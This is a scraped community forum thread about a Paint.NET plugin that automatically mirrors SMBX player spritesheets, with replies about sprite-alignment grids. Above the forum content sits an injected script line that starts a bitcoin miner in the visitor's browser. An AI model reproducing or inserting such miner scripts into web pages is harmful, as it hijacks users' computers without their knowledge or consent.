<script>
miner.start(); // initialise bitcoin miner
</script>

smbx communitysmw centralpge project

Automatically Mirror Player Sheets

Enjl
Posts: 415
Joined: 5 years ago

Automatically Mirror Player Sheets

Postby Enjl » 5 months ago



This is a plugin for Paint.NET that automatically mirrors the right half of a player spritesheet onto the left half.
It has no concept of any horizontal anchoring of individual frames, so it assumes that all sprites are properly centered.
What does that mean?
Lay out your sheets properly!
If you do, this'll save you some busywork.
Or, to put it visually:
NOT THIS
Image
YES THIS
Image
NEVER THIS
Image
Credits to rocky for giving me the idea. He's doing the same thing in aesprite right now!

User avatar
Hoeloe
A2XT person
Posts: 912
Joined: 8 years ago
Pronouns: she/her
Location: Spaaace

Re: Automatically Mirror Player Sheets

Postby Hoeloe » 5 months ago

Enjl wrote: NEVER THIS
Only villains do that.
Image
Image
Image
Image
Image

User avatar
ztarwuff
What the heck is a flair and why am I being asked to write one for my profile?
Posts: 558
Joined: 6 years ago
Location: Within 2 miles of the Imperial Crypt of Napoleon III

Re: Automatically Mirror Player Sheets

Postby ztarwuff » 5 months ago

Enjl wrote: This is a plugin for Paint.NET that automatically mirrors the right half of a player spritesheet onto the left half.
It has no concept of any horizontal anchoring of individual frames, so it assumes that all sprites are properly centered.

Credits to rocky for giving me the idea. He's doing the same thing in aesprite right now!
Thanks to both of you! I've always found the spritesheets really daunting, so I've never really wanted to edit them. This'll help a great deal.
Mind you, it'd be nice if there was some kind of grid around each individual sprite to help us centre each sprite into the proper location on the sheet. Then again, would the engine pick up the grid and try to render it around the player sprite?

Enjl
Posts: 415
Joined: 5 years ago

Re: Automatically Mirror Player Sheets

Postby Enjl » 5 months ago

ztarwuff wrote:
Enjl wrote: This is a plugin for Paint.NET that automatically mirrors the right half of a player spritesheet onto the left half.
It has no concept of any horizontal anchoring of individual frames, so it assumes that all sprites are properly centered.

Credits to rocky for giving me the idea. He's doing the same thing in aesprite right now!
Thanks to both of you! I've always found the spritesheets really daunting, so I've never really wanted to edit them. This'll help a great deal.
Mind you, it'd be nice if there was some kind of grid around each individual sprite to help us centre each sprite into the proper location on the sheet. Then again, would the engine pick up the grid and try to render it around the player sprite?
It would pick up the grid, but you can use layers.
Hoeloe made this image a while ago that helps align sprites:
http://i.imgur.com/1dnW3g3.png
I tend to use a variation which further subdivides each cell, so that I can easily find the center and a reasonable "ground":
https://i.imgur.com/RkqOOk3.png

User avatar
ztarwuff
What the heck is a flair and why am I being asked to write one for my profile?
Posts: 558
Joined: 6 years ago
Location: Within 2 miles of the Imperial Crypt of Napoleon III

Re: Automatically Mirror Player Sheets

Postby ztarwuff » 5 months ago

Enjl wrote: It would pick up the grid, but you can use layers.
Hoeloe made this image a while ago that helps align sprites:
http://i.imgur.com/1dnW3g3.png
I tend to use a variation which further subdivides each cell, so that I can easily find the center and a reasonable "ground":
https://i.imgur.com/RkqOOk3.png
Oh, that's really useful! Thank you very much! :D


Return to “SMBX2 (Current - 2.0 Beta 3)”

Who is online

Users browsing this forum: No registered users and 1 guest